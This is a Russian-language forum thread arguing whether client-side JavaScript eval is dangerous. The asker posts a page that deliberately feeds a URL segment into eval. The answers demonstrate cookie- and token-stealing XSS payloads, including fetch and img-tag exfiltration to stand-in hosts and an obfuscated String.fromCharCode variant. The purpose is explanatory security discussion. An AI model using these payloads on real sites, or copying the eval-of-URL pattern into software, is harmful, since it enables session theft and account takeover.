Чем опасен eval в JavaScript в рамках веб страниц?
Для начала определимся с несколькими вещами.
- "Почему использование "eval" в языке JavaScript считается небезопасным?" Это не тот же самый вопрос! И ответов, там нет!
- Речь идет именно о браузере и веб страницах. Javascript на стороне сервера - это совсем другая песня.
evalна стороне сервера - опасен не зависимо от языка. На стороне сервера прямое исполнение кода без проверки - Дыра. - Ответы из серии "Это не безопасно", "
evalможет выполнить неизвестный вам код из пользовательской строки." и прочий копипаст 20-летней давности тоже приберегите. Ниже поясню, почему. - Я знаю, что
evalтребует компиляции. И соответственно, это замедлит код. Но во первых, это не относится к безопасности. А во вторых, даже с этим можно поспорить, приведя в пример те же JQuery UI и Bootstrap. Это огромные библиотеки с множеством вызовов. JQuery так вообще тормоз в сравнении с Vanila. И если они используются на странице, то компиляцияeval, пройдет незамеченной.
Суть вопроса
Чем конкретно опасен eval в рамках скриптов на веб страницах, которые и так выполняются на стороне клиента?
Или все же нужно признать, что наличие eval, говорит исключительно о проблемах в логике кода? И не нужно вешать лапшу на уши про невиданные дыры, открываемые посредством eval.
Немножко аргументов
Сейчас почти на каждом ПК установлен браузер с веб консолью. И да, выполнение кода из консоли имеет отличия от eval. То есть, вот это в консоли:
document.getElementsByTagName('html')[0].remove()
и вот это на странице
document.getElementsByTagName('html')[0].remove()
Это несколько разный код. Один будет запущен на странице, а второй как бы "в капсуле". Google Chrome , например, честно пишет в консоли, что скрипт запущен из VMxx.js
НО, мы говорим об "опасности", то есть злонамеренных действиях. Так что мешает злонамеренному пользователю, нажать сочетание клавиш ctrl+shift+i, и получив доступ к веб консоли браузера, вписать туда:
let script = document.createElement("script");
script.type = 'text/javascript';
script.innerHTML = "function Evil(script) {return eval(script)};"
document.head.appendChild(script);
И выполнить свой "злой" код из-под этой обертки?
Этот код, уже будет частью страницы, и он будет равнозначен добавлению этой функции, в свой JS код. И это самый глупый пример. Можно действовать гораздо красивее и изощреннее. Даже не упоминая плагины и отладчик.
Может eval в JavaScript, в рамках веб страниц создает опасность XSS?
Для XSS, нужны дыры размером с галактику в фильтрах при обработке данных пользователя во время исполнения/добавления их в серверной части. И на стороне сервера, использовать eval, (не только по моему мнению) за гранью добра и зла.
Тормозящий выполнение кода eval! Слова "тормозящий" и eval в одном предложении, уже как лет 10, кроме смеха не чего не вызывают. Стэк трэйс JQuery видели? А Vue.js?
Практически любое сокращение кода по объему, без потери функциональности, приводит к замедлению его исполнения.
Предположим есть код на 2000 строк. В нем 200 функций, в каждой из которых есть проверка (не надо придираться, понятно что сокращают обычно более длинные вещи, это просто пример):
if (param !== undefined) {
if (param !== null && typeof (param) === 'object') {
if (param.constructor === Object) {
// какой-то код
}
}
}
Убрав это в функцию:
function is_param(param) {
if (param !== undefined) {
if (param !== null && typeof (param) === 'object') {
return (param.constructor === Object);
}
}
return false;
}
Мы сократим код по объему, почти на 10%. Но неизбежно увеличим время исполнения. Во первых это +1 if, во вторых вызов функции. Даже просто:
MyFunc = (a,b,c,d) => class.object_1.object_1_5.function_7_in_object_1_5(a,b,c,d);
Будет медленнее, чем прямой вызов. За то писать меньше :)
Думаю, на этом с безопасностью и медленностью, покончено.
Хотелось бы получить или аргументированный ответ, опровергающий мои утверждения. Ну или согласие с моими утверждениями. :)
P.S.
Только очень прошу, не нужно писать о какой-то там, неведанной, гипотетической супер опасности. Не имея НИОДНОГО примера.
Вот, чем опасно использование прямого исполнения кода отправленного из вне на сервере, есть сотни примеров. Да, та же rm -rf или format для форточек, выполненная от лица сервера. А вот с js исполняемым в браузере пользователя веб сайта, примеров как не было, так и нет. Одни гипотетические угрозы вселенского масштаба, без каких либо уточнений. Или явные дыры в фильтрации на сервере, которые и без eval прекрасно используются. Но оправдаться то надо, значит виновен eval, а не дыры на сервере.
Небольшое дополнение
Хорошая попытка @Швеев Алексей, но как это относится к реальности и коду у клиента? А самое главное к eval на стороне клиента?
Инъекция в ссылках типа:
(function() {fetch("http://mydomain.com/index.php?token=" + service_instance.token); return 3;})()
Не имеет никакого отношения к eval на стороне клиента. Это 100% дыра со стороны сервера. Исполнение такого URL, роутером сервера, это прям камаз щебня в огород разработчика роутера.
Значение параметра page пихается напрямую в eval
Допустим я джун, беру PageID из URL, и пихаю его в eval.
Как я это делаю? Наверное нагуглив (или зная) let path = window.location.search Который возвращает string.
Затем разбираю его через RegExp или path.substr(0, path.lastIndexOf('pageid=')) И попытка разобрать таким образом функцию, выдаст ошибку еще на этой стадии, остановив исполнение кода.
С тем же успехом, можно привести пример с MySQL инъекциями, и написать, что в этом виноват eval исполняемый на стороне клиента.
Еще одна не мало важная причина не состоятельности присвоения вины eval, это разбор URL сервером.
Сначала запрос на сервер, потом получение страницы.
А далее вопрос: Как был исполнен код из не валидного URL?
Если такая инъекция проходит, оно проедет и без eval. А значит, что это дыра со стороны сервера.
И чем это отличается от загрузки изображения (например аватарки), со вшитым JS?
Не нужно путать теплое и мягкое. Код со стороны пользователя, и код со стороны сервера, это разные вещи! URL обрабатывает сервер. И если есть возможность послать такое в URL, это дыра в коде на сервере.
Вновь возвращаю фокус внимания на исполняемый код в браузере и веб страницах на стороне клиента. Не нужно прикрывать просчеты в коде со стороны сервера, использованием eval на стороне клиента.
Небольшое дополнение номер два
Qwertiy, тоже очень хорошая попытка. Особенно по тезисный разбор, аллегории, примеры. Это не сарказм, правда молодец. Как говорится, снимаю шляпу.
Лет 15 назад, я бы согласился с твоими аргументами. Но не сейчас. И не по тому, что я такой упрямый, а потому, что все примеры "уязвимостей", это заблуждения. И заблуждения довольно серьезные, появившиеся в результате не понимания, как это работает. Я не просто так изначально обозначил:
Речь идет именно о браузере и веб страницах.
Заблуждение номер один:
В сравнении:
- твоя квартира - сервер, бэкенд
- квартира соседа - браузер пользователя
- дверь в твою квартиру - исполнение кода (включая обработку данных) на бэке
- дверь в квартиру соседа - исполнение кода (включая обработку данных) на фронте
- запертая дверь - безопасная обработка данных
- незапертая дверь - небезопасная обработка данных
Это в корне не верно. И это очень важный, ключевой момент. Который нельзя оставлять за скобками. Сейчас мы не будем рассматривать весь процесс, с сетевой частью, DNS, заголовками, кодами ответа, и т.д. Только основополагающий фактор общения клиента (браузера), с сервером (бекендом).
Когда мы вводим URL или переходим по ссылке, происходит следующий порядок действий:
- Браузер посылает HTTP запрос (HTTP Requests) к серверу, запрашивая его совершить какие то действия. В нашем случае - Отдать html страницу (веб ресурс).
- Сервер обрабатывает этот запрос. Тут то и вступает бекенд. Его код обрабатывает, фильтрует, сравнивает, интерпретирует полученное. И отдает то, что его автор считает нужным. Запрошенную страницу, или например "Страницу 404", т.к. не нашел запрошенное.
- Браузер получает HTTP ответ (HTTP Responses), в котором в том числе (именно в том числе) содержится html код страницы. И начинает по кусочкам собирать веб страницу. Подгружается все, на что ссылается html код (картинки, вектора, файлы css и js, и т.д.), исполняется JS. В общем создается (можно даже сказать рендерится) то, что мы привыкли видеть заходя на веб ресурсы.
То есть, весь код JavaScript (исполняемый на странице), начинает работать только в пункте 3. После исполнения кода бекэнда. И в реальной жизни (а не в куче заблуждений), в сравнении будет вот так:
- твоя квартира - сервер, бэкенд
- квартира соседа - соседний сервер, бекенд
- дверь в твою квартиру - точка входа
- дверь в квартиру соседа - точка входа
- запертая дверь - обработка данных бекендом
- незапертая дверь - отсутствие обработки данных бекэндом
- улица - браузер пользователя
Не нужно даже фантазировать, что вы что то контролируете, в браузере пользователя. Это чужое приложение, установленное на чужом ПК. В зависимости от предпочтений и желания, браузер пользователя и установленные в нем плагины, могут:
- полностью изменить работу переменных, функций, классов и библиотек
- полностью вырезать ваш JS и заменить на свой
- остановить исполнение любого сценария
Браузер пользователя = Враждебная среда. Зона, которую вы никак и ничем не контролируете. Если считаете иначе, то добро пожаловать в реальность.
Именно по этому для бекенда, любая информация полученная из вне, априори враждебна. Полученное из вне, всегда многократно обрабатывается.
Заблуждение номер два:
Что касается размеров дыр - во-первых, а кто сказал, что их нет (к тому же, достаточно только одной дыры), а во-вторых, называть дырой отсутствие излишне строгой проверки данных - спорно.
У бекенда, нет такого явления как - излишне строгая проверка. Есть только - достаточная и недостаточная. Которые делятся на - точная и условно точная. Диктуется это возможностями языка, известными проломами защиты, и ресурсами железа.
Скажем, для того чтобы убедится, что нам отправили именно IP. Нам достаточно того, что строка не содержит не чего кроме цифр и точек, которые соответствуют патерну. Например вот так:
preg_match("/^(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/", Входная строка);
Более точная проверка, не будет излишней. Просто она возможна только с известным пулом IP.
Заблуждение номер три:
Погоди, скоро будут.
Вот чем опасно не запирать мою дверь, есть сотни примеров. Да те же воры.
А вот с дверью соседа - примеров как не было, так и нет.
Возвращаясь к аллегории: Мне начхать, запускают салют на улице или нет. Главное, чтобы его не запускали в доме.
Не будет не одного примера, где бы eval на стороне клиента, был дырой в защите.
По причине: На стороне клиента мы ничего не контролируем, и там может быть запущено, что угодно.
Как я уже писал выше - Контроль за действиями в браузере пользователя, это иллюзорная фантазия.
Вы можете совершать в нем только те действия, которые вам позволит разработчик браузера и владелец установленной копии браузера.
На закуску
Машинка там конечно не ахти. Но для тестирования псевдо "дыры", хватит. Ссылка - тык
По этой ссылке вы найдете демоверсию рендера фреймворка (даже не демо сайта).
В теге head:
let url = window.location.href;
let id = (url.lastIndexOf('catalog/') === -1) ? 101 : (url.slice((url.lastIndexOf('catalog/') + 8), url.lastIndexOf('.')));
eval(id);
document.onreadystatechange = function() {
if (document.readyState === 'complete') {
eval(id);
if (document.getElementById('cid')) {
document.getElementById('cid').innerHTML = 'Catalog ID = ' + id + '.';
}
}
};
Фреймворк: Yii2 v2.0.52
Изменения относительно "Yii 2 Basic Project Template":
- Структура CMS (весь код внутри папки public)
- Отключены компоненты: user, mailer.
- Включен и настроен для контроллера SiteController, компонент - urlManager
- В контроллере SiteController отключены action: Login, Logout, Contact
- В контроллере SiteController добавлены action: View, Error, 404
- Так же отключены: AccessControl, VerbFilter, ErrorAction, CaptchaAction
- В код добавлен логер, который записывает: Дату и время, IP, хедер User-Agent, и URL
Фреймворк пишет два cookie: _csrf и PHPSESSID. Оба HttpOnly.
Дерзайте. Может хоть так до вас дойдет, на сколько сильная фильтрация, даже на пустом фреймворке. И что исполняемое "что-то" на стороне клиента, не может быть дырой в защите веб сайта.
Ответы (2 шт):
Не знаю, происходило ли когда либо такое в практике, но я, вот, только что, придумал следующий пример:
Допустим у нас есть сервис https://A.com на котором пользователь зашёл в аккаунт. Этот сервис хранит в себе токен входа в аккаунт, утечка которого стороннему сервису, понятное дело, нежелательна. Ну и соответственно у этого сервиса есть доступ к этому ключу на стороне клиента.
В этом сервисе есть страницы формата https://A.com?page=3 (из реальных примеров: id канала в дискорде, ввод в поисковик с гугла или номер страницы в списке товаров с авито). Значение параметра page пихается напрямую в eval из за каких-то необходимых вычислений (у меня есть пара идей, но я сам лично никогда бы не использовал eval со внешним инпутом, так что не знаю, насколько валидным пример будет являться для вас).
Теперь мы можем создать ссылку, где параметр page будет равен чему то типа
(function() {fetch("http://mydomain.com?token=" + service_instance.token); return 3;})()
Данный код возвращает 3, но при этом так же отправляет наш приватный токен авторизации на сторонний сервер.
Теперь любой, кто перейдёт по такой ссылке отдаёт доступ от своего аккаунта злоумышленнику
UPD: Минимальный пример
UPD: Ещё придумал:
Изменить своё (например) описание на описание с вредоносным кодом.
Теперь, при просмотре вредоносного профиля будет подгружаться его описание, которое может попасть в eval выполнив вредоносный код на стороне клиента другого пользователя. Ещё один способ утечки токена
Я лично не против использования eval, однако, по моему мнению, всегда необходимо работать только с пре-дефайнед строками, и никогда со строками из вне
Речь идет именно о браузере и веб страницах. Javascript на стороне сервера - это совсем другая песня.
Нет, не другая, а та же самая. Он либо безопасен везде (при правильном использовании так вполне может быть), либо не безопасен нигде (что почти наверняка будет при использовании кое-как).
Если мой сосед не запирает дверь - то никакой проблемы нет. Вот если бы я не запирал, это была бы совсем другая песня.
Ответы из серии ... "
eval()может выполнить неизвестный вам код из пользовательской строки." и прочий копипаст 20-летней давности
Ну eval за 20 лет не изменился. Он как выполнял код, так и выполняет. А вот то, что именно он выполняет - зависит от того, что программист в него передаёт.
И соответственно, это замедлит код. Но во первых, это не относится к безопасности.
Согласен, к безопасности не относится.
Но всё же отмечу, что обычно какие-то операции замедляют код только на то время, которое они выполняются, eval же вредит всему окружающему его коду (вся цепочка замыканий) даже если никогда не выполняется: оптимизации сильно ограничиваются, форсируется доступность переменных в замыкании, что может продлевать срок жизни объектов.
Вот тут браузер спокойно выкинул переменную smth из замыкания:
Условие Math.random() > 2 заведомо ложно, так что eval никогда не выполнится, но в замыкании уже уйма всего (а если посмотреть внимательнее, то и в local ещё появились arguments):
Чем конкретно опасен
eval()в рамках скриптов на веб страницах, которые и так выполняются на стороне клиента?
Чем конкретно опасна незапертая дверь у соседа? Это же и так у соседа.
Сейчас почти на каждом ПК установлен браузер с веб консолью. И да, выполнение кода из консоли имеет отличия от eval. ... Один будет запущен на странице, а второй как бы "в капсуле". Google Chrome , например, честно пишет в консоли, что скрипт запущен из VMxx.js
Это не имеет отношения к безопасности eval.
мы говорим об "опасности", то есть злонамеренных действиях. Так что мешает злонамеренному пользователю, нажать сочетание клавиш ctrl+shift+i, и получив доступ к веб консоли браузера, вписать туда
Так что мешает соседу отпереть дверь, и войдя свою квартиру ...
выполнить свой "злой" код из-под этой обертки?
Ничего, и в этом нет проблемы. Точнее, есть - self xss, но к обсуждаемому вопросу не относится.
... взять, и вынести из неё все вещи?
Для XSS, нужны дыры размером с галактику в фильтрах при обработке данных пользователя во время исполнения/добавления их в серверной части.
Серверная часть вообще никак не участвует в xss - только клиентская.
Что касается размеров дыр - во-первых, а кто сказал, что их нет (к тому же, достаточно только одной дыры), а во-вторых, называть дырой отсутствие излишне строгой проверки данных - спорно.
И на стороне сервера, использовать eval(), (не только по моему мнению) за гранью добра и зла.
Снова то же самое.
Вот мою дверь не запирать - за гранью добра и зла.
Только очень прошу, не нужно писать о какой-то там, неведанной, гипотетической супер опасности. Не имея НИОДНОГО примера.
Погоди, скоро будут.
Вот, чем опасно использование прямого исполнения кода отправленного из вне на сервере, есть сотни примеров. Да, та же
rm -rfилиformatдля форточек, выполненная от лица сервера.
Вот чем опасно не запирать мою дверь, есть сотни примеров. Да те же воры.
А вот с js исполняемым в браузере пользователя веб сайта, примеров как не было, так и нет.
А вот с дверью соседа - примеров как не было, так и нет.
Хорошая попытка @Швеев Алексей, но как это относится к реальности и коду у клиента?
Отлично относится, если читать ответ внимательно.
Инъекция в ссылках типа ... Не имеет никакого отношения к eval() на стороне клиента. Это 100% дыра со стороны сервера. Исполнение такого URL, роутером сервера, это прям камаз щебня в огород разработчика роутера.
Ещё раз: читать внимательно.
Твой домен - A.com, а в fetch запрос отправляется на mydomain.com.
К твоему серверному коду это не имеет вообще никакого отношения. Хоть заобрабатывайся там. Злоумышленник достаёт на клиенте с твоего сайта service_instance.token и отправляет его не к тебе на сервер, а к себе! Потом там его обработает как следует и воспользуется тем, чтобы под видом пользователя, у которого спёр токен, выполнять действия на твоём сайте.
Допустим я джун, беру PageID из URL, и пихаю его в eval().
Допустим - отличный пример.
Как я это делаю? Наверное нагуглив (или зная)
let path = window.location.searchКоторый возвращаетstring.
Так, пока никакой защиты от инъекций.
Затем разбираю его через RegExp
Ну тут примера нет, говорить не о чем.
или
path.substr(0, path.lastIndexOf('pageid='))
Руки кривые, не тот конец вырезаешь...
var path = 'https://example.com/smth?abc=1&pageid=2'
console.log(path.substr(0, path.lastIndexOf('pageid=')))
Наверное, ты имел в виду
var path = 'https://example.com/smth?abc=1&pageid=2'
console.log(path.substr(path.lastIndexOf('pageid=') + 7))
Это по-прежнему криво, потому что предполагает, что параметр идёт последним, а ещё забивает на то, что надо бы вызвать decodeURIComponent.
Ладно, нафиг этого джуна, распарсим сразу нормально:
var path = 'https://example.com/smth?abc=1&pageid=2&other=qwe'
var url = new URL(path)
console.log(url.searchParams.get('pageid'))
Давай, оцени, в этом способе дыры есть? И какого они размера?
И попытка разобрать таким образом функцию, выдаст ошибку еще на этой стадии, остановив исполнение кода.
Где? Какую?
Давай попробуем такую ссылку: https://example.com/?pageid=(document.body.insertAdjacentHTML("beforeend",%27<img%20src="//hacker.com?%27%2Bdocument.cookie%2B%27">%27),2)
Убедимся, что этот код рабочий (куку sid я предварительно добавил сам):
Если вдруг у тебя возникла мысль, что я намеренно переписал код из вопроса, чтобы добавить в него уязвимость (хотя, назвать уязвимостью то, что стандартные механизмы работают так, как задумано, у меня бы язык не повернулся), я сделаю другую ссылку, которая аналогична этой, но для прошлого способа парсинга: https://example.com/?pageid=(document.body.insertAdjacentHTML(Object.keys({beforeend:0})[0],[String.fromCharCode(60),Object.keys({img:0})[0],Object().toString()[7],Object.keys({src:0})[0],String.fromCharCode(61),JSON.stringify(Object().toString())[0],String.fromCharCode(47),String.fromCharCode(47),Object.keys({hacker:0})[0],String.fromCharCode(46),Object.keys({com:0})[0],String.fromCharCode(63),document.cookie,JSON.stringify(Object().toString())[0],String.fromCharCode(62)].join(JSON.stringify([]).charAt(4))),2)
Итак, будем считать, что у нас есть переменная
var pageid = `(document.body.insertAdjacentHTML("beforeend",'<img src="//hacker.com?'+document.cookie+'">'),2)`
теперь, если заставить строку из неё как-то выполниться в качестве кода, то атакующий получит куки чужого домена.
С тем же успехом, можно привести пример с MySQL инъекциями, и написать, что в этом виноват eval() исполняемый на стороне клиента.
А при чём тут сервер? Мы же про клиентский код говорим.
С тем же успехом можно сказать, что меня ограбили потому что сосед не запер его дверь.
Еще одна не мало важная причина не состоятельности присвоения вины eval(), это разбор URL сервером.
Если параметр используется на клиенте, то серверу пофиг на url. Query-параметры большинством серверов пропускаются и не требуют дополнительных проверок. Нужна ли на сервере проверка, что в url передано число - вопрос открытый, если pageid - это гуид - тоже. А вот если это какой-то текст поискового запроса, например, то валидация в принципе невозможна, поскольку я могу искать что угодно.
Сначала запрос на сервер, потом получение страницы.
Ok, сервер отдал страницу SPA, которая на клиенте начинает что-то химичить. Серверу норм.
А далее вопрос: Как был исполнен код из не валидного URL?
Ещё раз, url был валидный.
Если такая инъекция проходит, оно проедет и без eval(). А значит, что это дыра со стороны сервера.
Если меня ограбили, когда у соседа не заперта дверь, то меня бы ограбили даже если бы она была заперта. Это дыра у меня, а не у соседа.
И чем это отличается от загрузки изображения (например аватарки), со вшитым JS?
Эм.. В какое место картинки можно вшить js?
Код со стороны пользователя, и код со стороны сервера, это разные вещи!
Это очевидно.
Квартира соседа и моя квартира - это разные вещи!
URL обрабатывает сервер.
В дверь захожу я.
Это не всегда так.
И если есть возможность послать такое в URL, это дыра в коде на сервере.
Если есть возможность ограбить квартиру, то это дыра у меня.
А это - бред.
Вновь возвращаю фокус внимания на исполняемый код в браузере и веб страницах на стороне клиента. Не нужно прикрывать просчеты в коде со стороны сервера, использованием eval() на стороне клиента.
Вновь возвращаю фокус внимания на квартиру соседа. Не нужно прикрывать просчёты со своей стороны незапертой дверью соседа.
Надеюсь, по аналогиям давно можно было понять главную дыру этих рассуждений.
Если у соседа не заперта дверь, то кто-то может захотеть ограбить квартиру соседа, а не твою.
Т. е. сервер может быть идеально чистым, опрятным и без уязвимостей. Но если есть eval, в который может попадать пользовательский ввод (включая данные из url), и это сделано неаккуратно, то злоумышленник будет пытаться украсть не то, что есть на сервере, а то, что есть на клиенте. И при этом очень важный момент (который, судя по вопросу, ты не понимаешь) - пользователь сайта (у которого что-то крадут) и злоумышленник - это разные люди.
Наиболее распространённый вариант примера - стащить куки. В вопросе не было примера, как ты собирался помещать тот pageid в eval, но предположим, что там что-то такое:
var pageid = ...
var getData = eval(`(async function () {
return fetch("/data?pageid=${pageid}").then(r => r.json())
})`)
getData()
Понятия не имею, зачем так делать, но ничего лучше я придумать не смог.
Ну, вроде, будет работать:
А теперь немножко дообернём url, чтобы получилась инъекция под конкретный код: https://example.com/?pageid="%2B(document.body.insertAdjacentHTML("beforeend",%27<img%20src="//hacker.com?%27%2Bdocument.cookie%2B%27">%27),2)%2B" и посмотрим, что за запросы отправились:
https://example.com/data?pageid=2- полностью валидный запрос за второй страницей данныхhttps://hacker.com/?sid=123- атакующий заодно спёр куки сайта
Теперь он сможет использовать куки пользователя, открывшего его ссылку, чтобы от его имени выполнять на сайте любые действия, которые мог выполнить тот пользователь.
Тут можно возразить: но есть же csp, не позволяющий послать запрос на домен хакера.
Ну во-первых, у большинства сайтов его нет. Во-вторых, я лично использовал способ его обойти пару лет назад - не думаю, что его прикрыли.
Ещё можно возразить, что есть http-only-куки - тогда куки так не получить - это верно, но ведь это не единственное, что можно сделать.
Самое главное: если атакующий может выполнить любой скрипт, то ему вовсе не обязательно что-то отправлять себе на сайт. Например, представим сайт банка и что на странице перевода денег у атакующего есть возможность выполнить произвольный код. Он вполне может не забирать себе куки, а сделать код, который пишет его номер счёта в поле ввода номера счёта и жмёт кнопку "перевести". Всё. Все выполненные действия абсолютно корректны с точки зрения сервера: пользователь открыл страницу, ввёл номер счёта и выполнил перевод. А вот с точки зрения пользователя у него украли деньги.
а XSS рабочий. И куда вредоноснее и страшнее, чем eval. Т.к. там можно запустить, что угодно. А не просто одну 2 функции.. Ну и код исполнять и от лица страницы и от лица юзера. То есть отловить такое, сложно. И если прикрутить к этому например const MyEvil = ()=>{}; Можно было очень много чего натворить :)
Так при eval можно всё то же самое. И вообще, с eval - это тоже xss.
В сравнении:
- твоя квартира - сервер, бэкенд
- квартира соседа - браузер пользователя
- дверь в твою квартиру - исполнение кода (включая обработку данных) на бэке
- дверь в квартиру соседа - исполнение кода (включая обработку данных) на фронте
- запертая дверь - безопасная обработка данных
- незапертая дверь - небезопасная обработка данных
PS: Учитывая то, что некоторые приведённые фрагменты кода основываются на обработке браузером url, не соответствующего стандарту по допустимости в нём символов, отмечу, что я использовал Google Chome 134.0.6998.89 (64 бит) на Windows 11. В другом браузере часть примеров может работать иначе.





